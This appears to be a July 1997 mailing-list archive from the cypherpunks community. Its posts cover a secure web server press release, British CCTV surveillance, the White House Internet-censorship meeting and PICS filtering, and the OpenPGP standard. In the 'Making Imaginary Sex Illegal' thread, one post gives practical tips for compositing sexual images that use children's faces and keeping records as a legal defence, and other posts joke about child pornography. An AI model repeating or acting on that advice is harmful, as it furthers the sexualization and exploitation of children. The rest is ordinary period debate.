Precedence: bulk Reply-To: e$@thumper.vmeng.com --------------------------------------------------------------------- This mail is brought to you by the e$pam mailing list --------------------------------------------------------------------- From: Robert Hettinga Reply-To: rah at shipwright.com Organization: The Shipwright Development Corporation MIME-Version: 1.0 To: Robert Hettinga Subject: C2Net Software's Stronghold Web Server Adds nCipher Hardware Encryption Support http://www.prnewswire.com:80/cgi-bin/stories.pl?ACCT=104&STORY=/www/s tory/7-14-9 7/275856&EDATE= Content-Type: text/plain; charset=us-ascii; name="275856&EDATE=" Content-Disposition: inline; filename="275856&EDATE=" X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com i d KAA11101 [Todays News] C2Net Software's Stronghold Web Server Adds nCipher Hardware Encryption Support OAKLAND, Calif., July 14 /PRNewswire/ -- C2Net Software today announc ed its Stronghold(TM) secure web server now supports the nFast hardware cryptographic accelerator from nCipher Corporation Ltd. "Like Stronghold, the nFast accelerator is manufactured outside of the U.S., enabling us to off er our world-wide customers a simple, platform-independent way to speed up s ecure web server throughput," said C2Net Software president Sameer Parekh. "Man y will find that Stronghold's terrific out-of-the-box performance is more t han enough for their needs. If not, adding one or more nFast units is a fast, simple way to increase encryption performance as required." "nCipher's nFast cryptographic accelerators enhance e-commerce and on line transactions by speeding up the processing of crypto keys," said Alex van Someren, president of nCipher. "Using nFast together with the Stronghold web server gives customers throughout the world a quickly-scalable environmen t for conducting secure business on the Internet." nCipher's nFast cryptographic accelerator interfaces via a standard S CSI2 interface, making it compatible with virtually any computer platform, and mounts within the space of a standard 3.5-inch disk drive bay. Each nFast accelerator can carry out approximately three hundred 1024-bit public key signings per second. The Stronghold Web Server is an enhanced, secure, commercial version of the popular Apache server. Based on figures in a Netcraft survey (http://www.netcraft.com/survey/), Stronghold is the second most popular commercial server for UNIX and the second most popular for secure applica tions on the Internet. nCipher Corporation Ltd. (http://www.ncipher.com/), an affiliate of the Newbridge Network Corporation (NYSE: NN), is a privately-owned developer of cryptographic technologies for securing server transactions, including bo th software and hardware cryptographic acceleration products. nCipher headquarters are located in Cambridge, England, with US offices in Andove r, MA and in Santa Clara, CA. C2Net Software, Inc. (http://www.c2.net/) is a leading provider of uncompromised network security software. Through its international offsho re development programs, all C2Net products are exempt from U.S. government export restrictions, allowing the company to offer uncrippled, strong cryptography solutions to customers worldwide. SOURCE C2Net Software Inc. CONTACT: Steve Cook of C2Net Software, Inc., 510-986-8770 ------------------------------------------------------------------------- --- [PR Newswire Logo] (Today's News) (Company News On-Call) (Feature News) (Automotive) (Entertainment) (Health/Biotech)(Technology) (Financial) (Energy) (Washington and the World) (Money Talks) (About PRN)(Ask PRN) (Links) (P RN Events) ------------------------------------------------------------------------- --- �1997 PR Newswire. All rights reserved. Redistribution, retransmission, republication or commercial exploitation of the contents of this site are expressly prohibited without the written consent of PR Newswire. These pages have been optimized for Netscape v.2.0 or later --------------------------------------------------------------------- Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk --------------------------------------------------------------------- Like e$? Help pay for it! See Or, for e$/e$pam sponsorship, --------------------------------------------------------------------- --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From frogfarm at yakko.cs.wmich.edu Tue Jul 15 14:43:47 1997 From: frogfarm at yakko.cs.wmich.edu (Damaged Justice) Date: Wed, 16 Jul 1997 05:43:47 +0800 Subject: CCTV Cameras in Britain Message-ID: <199707152143.RAA22086@yakko.cs.wmich.edu> -- forwarded message -- Path: wmich-news!gumby!newspump.wustl.edu!fas-news.harvard.edu!oitnews.harvard.edu!rutgers!usenet.logical.net!news-out.internetmci.com!infeed1.internetmci.com!newsfeed.internetmci.com!vixen.cso.uiuc.edu!uwm.edu!computer-privacy-request From: David Alexander Newsgroups: comp.society.privacy Subject: Re: CCTV Cameras in Britain Date: 14 Jul 1997 16:05:55 GMT Organization: Computer Privacy Digest Lines: 71 Sender: comp-privacy at uwm.edu Approved: comp-privacy at uwm.edu Message-ID: NNTP-Posting-Host: 129.89.2.6 X-Original-Submission-Date: 10 Jul 1997 11:33:18 +0100 X-Submissions-To: comp-privacy at uwm.edu X-Administrivia-To: comp-privacy-request at uwm.edu X-Computer-Privacy-Digest: Volume 11, Issue 003, Message 12 of 16 X-Auth: PGPMoose V1.1 PGP comp.society.privacy iQBFAwUBM8oxCjNf3+97dK2NAQF46gF/RZ6tN/V6TQwOCyyAzJeCTngaqMu4IW9h Wm81iJFNAWYI59zJGoRVjd+b9u3TefKX =im9q Originator: levine at blatz.cs.uwm.edu Xref: wmich-news comp.society.privacy:424 I read with interest the comments about CCTV cameras that were in the last 2 mailings. I note that Steve does not live in the UK, and I would like to present a residents' view of these cameras. Privacy International says that in Britain, there are an estimated 300,000 CCTV surveillance cameras in public areas, housing estates, car parks, public facilities, phone booths, vending machines, buses, trains, taxis, alongside motorways and inside Automatic Teller (ATM) Machines. Originally installed to deter burglary, assault and car [...] Do we try to protect Democratic freedoms by legislating safeguards against the abuse of private data? Must we accept that the mightiest individuals and institutions cannot be held accountable, and there is no use in trying? Or do we simply acquiesce, and accept that privacy is an outdated concept when cheap technology makes everyone vulnerable, wolves and lambs alike? The choices are not easy, but in the words of David Brin, "asking questions can be a good first step". Yes, there are many cameras, and more going up all the time. The vast majority of the population is glad that these cameras are being introduced. Ordinary crime has been reduced greatly in those areas (proven fact) where the cameras are in use. We also have a big problem with Terrorism by the Provisional IRA over here, and the same cameras have been instrumental in the foiling of numerous terrorist operations and capture of those responsible for others (we have had 3 bombs detonated in England larger than the one at Oklahoma in the last 3 years). A very popular and effective program on UK TV is called 'Crimewatch' where video footage, from these cameras, of crimes and suspects is shown not for sensationalism and ratings but in order to ask for help identifying the perpetrators. It is very effective and crimes featured have a very high clear-up rate. One of the instruments needed to thwart such surveillence is the adoption of 'masks' which are socially acceptable for public use. Ideally they should all look alike, sort of something out of The Prisoner. Once a certain threshold of adoption has been passed the only option for law enforcement will be to remove the offending devices or declare maks illegal for public use (a real stretch for civil liberties). Yeah, right, get real. The only reason you might want to avoid being identified is if you have something to hide. Wearing a mask is only going to draw attention to you, and if you think everyone is suddenly going to start wearing masks...like I said in paragarph one, most people over here welcome the cameras. Please don't misinterpret my motives. I would be the first to celebrate if no threat to privacy existed. Unfortunately there are immoral, irresponsible and downright antisocial (not to mention the psychologically unsound) people who will not abide by the law, or to what we regard as social norms and persist in infringing our rights. As long as those people exist, and no better way of deterring and tracking them down after the (often tragic) offence has been committed, then we need such laws and technology. I would feel very ashamed if my attempts to protect my rights caused the death of innocent people because security against those who are irresponsible had to be drastically cut back. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ David Alexander AIX Support Professional V3 & V4, SP Certified Technical Manager Caplin Cybernetics Corporation E-mail: davea at caplin.com Windmill Business Village Tel: 01932 778172 Brooklands Close, Sunbury-on-Thames Fax: 01932 779606 Middlesex TW16 7DY, England ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -- end of forwarded message -- From nobody at www.video-collage.com Tue Jul 15 14:44:01 1997 From: nobody at www.video-collage.com (Unprivileged user) Date: Wed, 16 Jul 1997 05:44:01 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: <19970715115457.07611@bywater.songbird.com> Message-ID: <97Jul15.173517edt.32258@brickwall.ceddec.com> On Tue, 15 Jul 1997, Kent Crispin wrote: > On Tue, Jul 15, 1997 at 12:25:55PM -0400, Unprivileged user wrote: > > But to return to the cypher aspect, what about altering existing images so > > that they are unidentifiable as to whether they are from real acts or > > truly the products of an imagination. Will we now need someone from the > > government to certify the kiddie porn isn't real? > > Yes, that's the logical next step -- Government Approved Porn (GAP). > Perhaps we could get Senator Hatch to sponsor a bill? > > The constitutional implications are staggering. Actually, Government Approved Kiddieporn, or GAK. Isn't Hatch already for GAK? --- reply to tzeruch - at - ceddec - dot - com --- From declan at well.com Tue Jul 15 15:42:34 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 16 Jul 1997 06:42:34 +0800 Subject: White House swaps stand and decides to invite ACLU after all Message-ID: ---------- Forwarded message ---------- Date: Tue, 15 Jul 1997 15:28:58 -0700 (PDT) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu Subject: White House swaps stand and decides to invite ACLU after all [Two hours after the ACLU issued this press release and journalists started to call, the White House reversed its stand. Now it says the ACLU is permitted to come to the meeting tomorrow after all. --Declan] *********** White House Excludes ACLU and Others From Summit Meeting on Internet Censorship FOR IMMEDIATE RELEASE: Tuesday, July 15, 1997 Contact: Emily Whitfield, (212) 549-2566 WASHINGTON -- Contrary to earlier Administration statements, the White House has failed to invite the American Civil Liberties Union and other leading civil liberties organizations to its high-level conference on Internet censorship. "With this last-minute shift, the Administration has set an unfortunate beginning to this important process," said Donald Haines, ACLU Legislative Counsel for the Washington National Office. "Just as the ACLU continues to work with members of Congress as they shape national policy regarding the Internet," Haines said, "we were most interested in working with President Clinton and Vice President Gore on finding strategies to empower parents to help their children use the Internet wisely." The conference, set to take place on Wednesday, July 17, includes representatives from Internet giants Microsoft, America Online and Prodigy and executives from filtering software companies, as well as the Internet censorship group Enough is Enough. The American Library Association, a defender of online free speech, was invited, but the Electronic Privacy Information Center, a Washington, D.C.-based cyber-liberties group, was excluded along with the ACLU. "The Administration's failure to open this process to all interested parties is short-sighted and could ultimately lead to another expensive legal battle," Haines added. Tomorrow's meeting on Internet censorship comes in the wake of a landmark Supreme Court decision late last month striking down censorship provisions of the Communications Decency Act as unconstitutional. The ACLU filed a lawsuit challenging the CDA on behalf of 20 organizations and individuals, the day after President Clinton signed the law. Several weeks later, a second group of plaintiffs filed another challenge, American Library Association v. Department of Justice. The two challenges were consolidated into ACLU v. Reno by a federal district curt in Philadelphia, which ultimately ruled that the law was unconstitutional. The government appealed that ruling and the case moved up to the Supreme Court. Writing for a nearly unanimous Court in Reno v. American Civil Liberties Union, Justice John Paul Stevens said that "the interest in encouraging freedom of expression in a democratic society outweighs any theoretical but unproven benefit of censorship." Commenting on the law's purported aim to protect minors from so-called indecency, Justice Stevens noted that "Under the CDA, a parent allowing her 17-year-old to use the family computer to obtain information on the Internet that she, in her parental judgment, deems appropriate, could face a lengthy prison term." "The Court's decision was clearly written to protect individual online users," said the ACLU's Haines. "They, not industry giants, are the people the ACLU represents, and they are the people who are being denied a voice in this meeting." -endit- From nobody at secret.squirrel.owl.de Tue Jul 15 17:34:32 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Wed, 16 Jul 1997 08:34:32 +0800 Subject: [FC97] Anonymous Networking? Message-ID: <19970715232105.14329.qmail@squirrel.owl.de> Can someone summarize McCoy's `Anonymous Networking and Virtual Intranets' from FC97 plz? From nobody at secret.squirrel.owl.de Tue Jul 15 17:47:39 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Wed, 16 Jul 1997 08:47:39 +0800 Subject: No Subject Message-ID: <19970716002146.16645.qmail@squirrel.owl.de> From azur at netcom.com Tue Jul 15 17:54:00 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 16 Jul 1997 08:54:00 +0800 Subject: CCTV Cameras in Britain In-Reply-To: <199707152143.RAA22086@yakko.cs.wmich.edu> Message-ID: At 5:43 PM -0400 7/15/97, Damaged Justice wrote: >-- forwarded message -- >From: David Alexander > > Privacy International says that in Britain, there are an estimated > 300,000 CCTV surveillance cameras in public areas, housing estates, > car parks, public facilities, phone booths, vending machines, > buses, trains, taxis, alongside motorways and inside Automatic > Teller (ATM) Machines. Originally installed to deter burglary, > assault and car [...] Do we try to protect Democratic freedoms by > legislating safeguards against the abuse of private data? Must we > accept that the mightiest individuals and institutions cannot be > held accountable, and there is no use in trying? Or do we simply > acquiesce, and accept that privacy is an outdated concept when > cheap technology makes everyone vulnerable, wolves and lambs > alike? The choices are not easy, but in the words of David Brin, > "asking questions can be a good first step". > >Yes, there are many cameras, and more going up all the time. The vast >majority of the population is glad that these cameras are being >introduced. Ordinary crime has been reduced greatly in those areas >(proven fact) where the cameras are in use. We also have a big problem >with Terrorism by the Provisional IRA over here, and the same cameras >have been instrumental in the foiling of numerous terrorist operations >and capture of those responsible for others (we have had 3 bombs >detonated in England larger than the one at Oklahoma in the last 3 >years). Yes, well initial reaction to such Big Brother measures are often greeted, initially, by the sheeple as in their best interest. As for the IRA, although I am not a UK resident I did live there for some time, I think most of the violence is a result of mean intentioned English policies in the later part of the 19th and early 20th century. I doubt the surveillence can put an end to terrorism without doing away with much of the English population's privacy. > >A very popular and effective program on UK TV is called 'Crimewatch' >where video footage, from these cameras, of crimes and suspects is >shown not for sensationalism and ratings but in order to ask for help >identifying the perpetrators. It is very effective and crimes featured >have a very high clear-up rate. > > One of the instruments needed to thwart such surveillence is the > adoption of 'masks' which are socially acceptable for public use. > Ideally they should all look alike, sort of something out of The > Prisoner. Once a certain threshold of adoption has been passed the > only option for law enforcement will be to remove the offending > devices or declare maks illegal for public use (a real stretch for > civil liberties). > >Yeah, right, get real. The only reason you might want to avoid being >identified is if you have something to hide. Wearing a mask is only >going to draw attention to you, and if you think everyone is suddenly >going to start wearing masks...like I said in paragarph one, most >people over here welcome the cameras. Youth is always looking for a way to make a statement or stand out in the crowd. This could be an effective means to both poke the surveillence state in the eye and be noticed. > >Please don't misinterpret my motives. I would be the first to celebrate >if no threat to privacy existed. Unfortunately there are immoral, >irresponsible and downright antisocial (not to mention the >psychologically unsound) people who will not abide by the law, or to >what we regard as social norms and persist in infringing our rights. >As long as those people exist, and no better way of deterring and >tracking them down after the (often tragic) offence has been committed, >then we need such laws and technology. That's what personal firearms are for... Its no coincedence that the incedence of 'hot' bugluries (that is one's in which the owner is in residence during the incident) are about 60% for the UK and 15% for the US. Sentenced US criminals are much more careful in 'casing' a residence and, unlike their UK counterparts, rarely enter in the evening when they are much more likely to get shot. > >I would feel very ashamed if my attempts to protect my rights caused >the death of innocent people because security against those who are >irresponsible had to be drastically cut back. I wouldn't. Its the state's duty to protect my liberties and if they can't or won't the obligation falls on me. The product of liberty and security is a constant. --Steve From gbroiles at netbox.com Tue Jul 15 17:54:25 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 16 Jul 1997 08:54:25 +0800 Subject: Prepaid/anon net access Message-ID: <3.0.3.32.19970715173721.0086cac0@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 www.wired.com has a little blurb about the people at , apparently they're offering/planning to offer prepaid net access cards (similar to prepaid phone cards) whereby one can dial an 800 number, then enter a username/PW for 20 mins of dialup PPP. (they don't provide E-mail accounts, you have to have your own provider for that.) More tools for tentacles. -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBM8wXsWcCR88m5EiMEQLxzACfRpDqQ+YUEUDpq7MxgmD+kjDZQ+wAnR52 649yXdt84bHMA3TC63blT9Yn =80qU -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. From whgiii at amaranth.com Tue Jul 15 18:07:36 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Wed, 16 Jul 1997 09:07:36 +0800 Subject: CCTV Cameras in Britain In-Reply-To: Message-ID: <199707160105.UAA15117@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 07/15/97 at 05:43 PM, Steve Schear said: >As for the IRA, although I am not a UK resident I did live there for some >time, I think most of the violence is a result of mean intentioned >English policies in the later part of the 19th and early 20th century. I >doubt the surveillence can put an end to terrorism without doing away >with much of the English population's privacy. There is a simple solution to the IRA problem: The English need to get the fuck out of Ireland!!! - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM8wd/o9Co1n+aLhhAQGi0QP/d/b17dIGAAoR+XyvGCILV1ijD1g1qJZ0 cGo5pKmmzMlo+MPry4YqU5U+hz1pDRJd29QNC5dqthaDbYglurnnGSQ5C5Mg/abo W6USVQanU3ICWI/MHjsJ0KBIkQpBBoUYzPkvUJzpaWGLqoFw8ab7z2JWdSi08Nfw zY3XRhxZJxo= =tLSg -----END PGP SIGNATURE----- From kent at songbird.com Tue Jul 15 18:44:26 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 16 Jul 1997 09:44:26 +0800 Subject: CCTV Cameras in Britain In-Reply-To: <199707152143.RAA22086@yakko.cs.wmich.edu> Message-ID: <19970715183341.01502@bywater.songbird.com> On Tue, Jul 15, 1997 at 05:43:59PM -0700, Steve Schear wrote: [.deleted.] > > I wouldn't. Its the state's duty to protect my liberties and if they can't > or won't the obligation falls on me. > > The product of liberty and security is a constant. This is obviously false. Zero liberty and zero security is a quite possible situation (laying strapped to the table, waiting for your lethal injection, for example), as is some liberty and some security (the normal situation). Of course, in this context "liberty" is a religious word, with little semantic content. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From jya at pipeline.com Tue Jul 15 19:06:10 1997 From: jya at pipeline.com (John Young) Date: Wed, 16 Jul 1997 10:06:10 +0800 Subject: Global Banking Docs Message-ID: <1.5.4.32.19970716014905.006f00dc@pop.pipeline.com> For those who may have missed it, the European Committee for Banking Standards offers its "Secure Banking Over The Internet," March, 1997. An abstract of the 62-page report which also evaluates global electronic security and cryptographic tools: This ECBS Technical Report shall provide a survey of current and planned banking use of the Internet, investigate the security requirements for secure banking on the Internet, provide a survey of the security-related protocols, services and applications on the Internet, discuss other requirements for global banking (e.g. banking secrecy, data privacy, export issues), and provide an outlook on new banking applications and services such as electronic cash. It's available in PDF format (241K) at: http://www.r3.ch/standards/ecbs/papers/tr401sbi.pdf A mirror of the report is at: http://jya.com/tr401sbi.pdf Note: Acrobat reader version 3.0 is required; version 2.1 cannot read the report. ---------- The FDIC has published today a request for comment on its proposed international banking regulations which combines and consolidates its current three regs: http://jya.com/fdic071597.txt (231K) From frantz at netcom.com Tue Jul 15 21:03:36 1997 From: frantz at netcom.com (Bill Frantz) Date: Wed, 16 Jul 1997 12:03:36 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: <33CAC79B.6293@nwdtc.com> Message-ID: At 11:54 AM -0700 7/15/97, Kent Crispin wrote: >On Tue, Jul 15, 1997 at 12:25:55PM -0400, Unprivileged user wrote: >> But to return to the cypher aspect, what about altering existing images so >> that they are unidentifiable as to whether they are from real acts or >> truly the products of an imagination. Will we now need someone from the >> government to certify the kiddie porn isn't real? > >Yes, that's the logical next step -- Government Approved Porn (GAP). >Perhaps we could get Senator Hatch to sponsor a bill? We have government approved gambling with terrible odds already. This sounds like the next logical step. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From frantz at netcom.com Tue Jul 15 21:07:57 1997 From: frantz at netcom.com (Bill Frantz) Date: Wed, 16 Jul 1997 12:07:57 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: <33CAC79B.6293@nwdtc.com> Message-ID: At 9:25 AM -0700 7/15/97, Unprivileged user wrote: >If "computer-simulated" images are legal, how can you tell that it is >computer simulated? Well, for a start, you can save evidence of the steps you took in making the images. If you are combining images (adult actors for the X stuff, and children for the faces etc.) then save the original images and some of the rejected intermediate images. If you are drawing from scratch (e.g. using paint and brush), save the sketches, and perhaps also photos of the intermediate stages of the final image. Given a rational legal system (Yea, I know), these steps should give a complete defense against the charge that you abused children in making the images. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From declan at well.com Tue Jul 15 22:22:17 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 16 Jul 1997 13:22:17 +0800 Subject: White House swaps stand and decides to invite ACLU after all Message-ID: ---------- Forwarded message ---------- Date: Tue, 15 Jul 1997 23:05:15 -0400 From: "Shabbir J. Safdar" To: Declan McCullagh , fight-censorship at vorlon.mit.edu Cc: barrys at aclu.org, beeson at aclu.org, privaclu at aol.com Subject: Re: White House swaps stand and decides to invite ACLU after all Some obvious problems with this bit: At 3:28 PM -0700 7/15/97, Declan McCullagh wrote: >[Two hours after the ACLU issued this press release and journalists >started to call, the White House reversed its stand. Now it says the ACLU >is permitted to come to the meeting tomorrow after all. --Declan] I know people who received their invites late this afternoon, so it's not obvious that the ACLU wasn't invited, just that they got their invitation later than everyone else. >From aclu press release: >"The Court's decision was clearly written to protect individual online >users," said the ACLU's Haines. "They, not industry giants, are the people >the ACLU represents, and they are the people who are being denied a voice in >this meeting." As a hard working member of the net civil liberties community I find it inappropriate that the ACLU assumes that even though other civil liberties folks will be there, including myself, that we don't represent Internet users. I don't think any of us has the right to say who solely represents the Internet community. To say that even though VTW and CDT and ALA and others will be there, that the net community is still not represented is pretty out of line. And though I'm not defending the fact the White House's actions, I wonder if it occurs to anyone that the reason they were left until last is because when the White House started moving away (in the Magaziner paper) from the CDA the week before the SC decision, the ACLU dissed them in the press. Perhaps the reaction to that shouldn't have been to trash them in the press, but to say encouraging things while saying "Actions will speak louder than anything". It's not as if the White House can't modify their position on this issue, they've moved around on others before. Shouldn't we make that work for us for once? To diss them, regardless of what they do, violates the "carrot and stick" principle of politics. If they say stuff we agree with, like "no legislation please" and then we diss them, why will they bother to stick up for the net anymore? -S From declan at vorlon.mit.edu Tue Jul 15 22:25:20 1997 From: declan at vorlon.mit.edu (Declan McCullagh) Date: Wed, 16 Jul 1997 13:25:20 +0800 Subject: The Big Sellout Message-ID: ---------- Forwarded message ---------- Date: Tue, 15 Jul 1997 22:25:50 -0400 From: Michael Sims To: fight-censorship at vorlon.mit.edu Cc: jberman at cdt.org, jseiger at cdt.org Subject: The Big Sellout It's here. http://www.cnn.com/TECH/9707/15/cybersmut.ap/index.html Computer industry to announce anti-smut initiatives July 15, 1997 Web posted at: 9:59 p.m. EDT (0159 GMT) [20 minutes ago. I'm quick, aren't I?] WASHINGTON (AP) -- Hoping to avoid a V-chip for the Internet, the computer industry will announce at the White House on Wednesday it will provide greater access to anti-smut software and work to flag Internet sites that are clean enough for kids. Weeks after the Supreme Court declared unconstitutional a law designed to keep cyberspace's seedy side away from children, the White House is urging the computer industry and parent's groups to take such voluntary steps to make the Internet safe for youngsters. "We don't need to reinvent the wheel here and we don't need a V-chip for the Internet. We have tools out there which are 100 percent available," said Jerry Berman of the Center for Democracy and Technology, a group that works to protect computer users' civil liberties. They just need to be more widely used and understood, he said. President Clinton and Vice President Al Gore, a computer enthusiast, will host the private meeting Wednesday. About 30 to 40 people are expected, including representatives from America Online, Netscape Communications Corp., Microsoft Corp., Yahoo! Inc., the National Parent Teacher Association, the American Library Association, makers of screening technology and electronic civil liberties groups. The White House has said it wants a solution "as powerful for the computer as the V-chip will be for the television that protects children in ways that are consistent with America's free-speech values." Instead of seeking new legislation to force the computer industry to shield children from Internet smut, the Clinton administration is pushing voluntary ideas. That's welcome news for the industry and electronic civil liberties groups, which fought to overturn anti-smut provisions in the 1996 telecommunications law. "It's a very positive thing to try to come up with a constructive alternative to legislation," said Andrew Schwartzman, president of the Media Access Project, a nonprofit media watchdog group. No final industry-wide voluntary plan is expected to be announced Wednesday, but some companies are expected to unveil plans. For instance, Netscape Communications is expected to announce it will back a software standard that allows people, using a Web browser, either to block or select certain Web sites based on their electronic labels, said industry and government sources, speaking on condition of anonymity. Netscape did not return a phone call for comment. Microsoft Corp.'s Explorer browser already uses the standard, dubbed PICS, which can work with more than one labeling or ratings system. Parents using a browser with the PICS technology could, for example, call up Web sites designated to be "family friendly" or they could block sites labeled as violent or sex-filled. The Center for Democracy and Technology, meanwhile, is supposed to debut a Web page that would give parents information on how and where to get free smut-screening software, Berman said. The center estimates all of the major providers of Internet access to consumers offer screening technology for free or at a nominal cost. Those providers cover 14 million households, and include AOL, AT&T WorldNet, CompuServe, Prodigy and Erol's. The American Library Association is working on a broader effort. It has compiled a listing of family friendly Web sites parents can access separately or through its Web page, said spokeswoman Joyce Kelly. The listing will be updated and expanded, she said. And Microsystems Software Inc., maker of Cyber Patrol, a widely used screening software, is expected to unveil new technology to make it easier for owners to label their Web sites, a company representative said. "We're heartened that the industry is taking steps on its own," said Patty Yoxall, spokeswoman for the National PTA. "We prefer voluntary efforts over government intervention." White House officials, speaking on condition of anonymity, stressed that in addition to the voluntary efforts for indecent or smutty content, the government still will enforce vigorously provisions making illegal any obscene materials carried on the Internet. The Supreme Court upheld that provision of the 1996 law on June 26, even as it overturned provisions aimed at restricting children's access to indecent online materials. Copyright 1997 The Associated Press. All rights reserved. From ddt at pgp.com Tue Jul 15 22:43:36 1997 From: ddt at pgp.com (Dave Del Torto) Date: Wed, 16 Jul 1997 13:43:36 +0800 Subject: [ANNOUNCE] IETF "OpenPGP" Standard thread beginning Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Greetings, The OpenPGP standard discussion is now on the IETF Standards track through the courtesy of the Internet Mail Consortium. The first event will be an OpenPGP BOF (Birds of a Feather) discussion at the Munich IETF meeting in August 97 (see www.ietf.org) to determine what interested parties want to have included/supported in the OpenPGP standard. Meanwhile, the IETF OPEN-PGP mailing list is being hosted by the IMC for the IETF. The list mechanism is currently accepting subscriptions, but the list itself will not be active for posting for a few more days (notifications will be made to subscribers when it is active). If you'd like to sign up for the IETF's OpenPGP mailing list now, please send email as follows: To: ietf-open-pgp-request at imc.org Body: subscribe (If your mailer/etc supports "hot" links, just double-click this URL: ) For related materials, including the archive of the OpenPGP mailing list, please see the IMC website at: . For information on PGP Inc's involvement with this standards activity, please contact Charles Breed or myself. dave __________________________________________________________________________ Dave Del Torto tel: +1.415.596.1781 Pretty Good Privacy, Inc 555 Twin Dolphin Dr. #570 ddt at pgp.com fax: +1.415.631.1033 Redwood Shores CA 94065 engineering key: see X-PGP header web: http://www.pgp.com -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBM8xZ2KHBOF9KrwDlAQENvQQAjVlB6gIJ89XRlgdElr0n25/xJr/B1Ueo hAj9CjRUeJJ3T5WuoT/9kHScYl1FfwYXF82tLcztNsDmYdjRYylFQ1uiaIeDRMUU tBZyi7+NkyHIpd6trFqGDd4F61mb/nxOZQvx7t7XJLHo0pATdflL1OwGEUOAD1jw Xz+pwUc+QhE= =9Igf -----END PGP SIGNATURE----- From declan at well.com Tue Jul 15 22:57:30 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 16 Jul 1997 13:57:30 +0800 Subject: The Big Sellout Message-ID: ---------- Forwarded message ---------- Date: Tue, 15 Jul 1997 22:35:21 -0400 From: Michael Sims To: fight-censorship at vorlon.mit.edu Cc: jberman at cdt.org, jseiger at cdt.org Subject: The Big Sellout So CDT, a few questions: 1) "The Center for Democracy and Technology, meanwhile, is supposed to debut a Web page that would give parents information on how and where to get free smut-screening software, Berman said." Did ya really? Smut-screening software? 2) Do you feel that mandatory voluntary net ratings are an improvement over the CDA? If so, why? 3) Does the statement by the National PTA, a censorious group if ever there was one, that they favor "voluntary" action give you any pause? That is, if your two organizations are on the same side here, do you ever wonder if these actions are achieving your goals or theirs? -- Michael Sims From shamrock at netcom.com Tue Jul 15 23:44:58 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 16 Jul 1997 14:44:58 +0800 Subject: The Big Sellout In-Reply-To: Message-ID: <3.0.2.32.19970715230342.006f15a8@netcom10.netcom.com> At 01:07 AM 7/16/97 -0400, Declan McCullagh wrote: >For instance, Netscape Communications is expected to announce it will >back a software standard that allows people, using a Web browser, >either to block or select certain Web sites based on their electronic >labels, said industry and government sources, speaking on condition of >anonymity. Should such a system ever see widespread use, which I doubt, I only be a matter of days before somebody puts up pages featuring gratuitous violence, hard-core pornography, "how to kill your parents using common household chemicals", and pages of similar nature. At which point we will quickly discover just how "voluntary" this "voluntary standard" is. Sure the CDA was struck down by the Supreme Court. Would a law prohibiting "mislabeling" of websites be struck down as well? I doubt it. --Lucky Green PGP encrypted mail preferred. DES is dead! Please join in breaking RC5-56. http://rc5.distributed.net/ From declan at well.com Tue Jul 15 23:58:39 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 16 Jul 1997 14:58:39 +0800 Subject: The Big Sellout In-Reply-To: <3.0.2.32.19970715230342.006f15a8@netcom10.netcom.com> Message-ID: I spoke to Netscape earlier today. The company previously had announced it would support PICS in a future version of Navigator. Now it's pledging to support PICS in the *next* version. -Declan On Tue, 15 Jul 1997, Lucky Green wrote: > At 01:07 AM 7/16/97 -0400, Declan McCullagh wrote: > >For instance, Netscape Communications is expected to announce it will > >back a software standard that allows people, using a Web browser, > >either to block or select certain Web sites based on their electronic > >labels, said industry and government sources, speaking on condition of > >anonymity. > > Should such a system ever see widespread use, which I doubt, I only be a > matter of days before somebody puts up pages featuring gratuitous violence, > hard-core pornography, "how to kill your parents using common household > chemicals", and pages of similar nature. At which point we 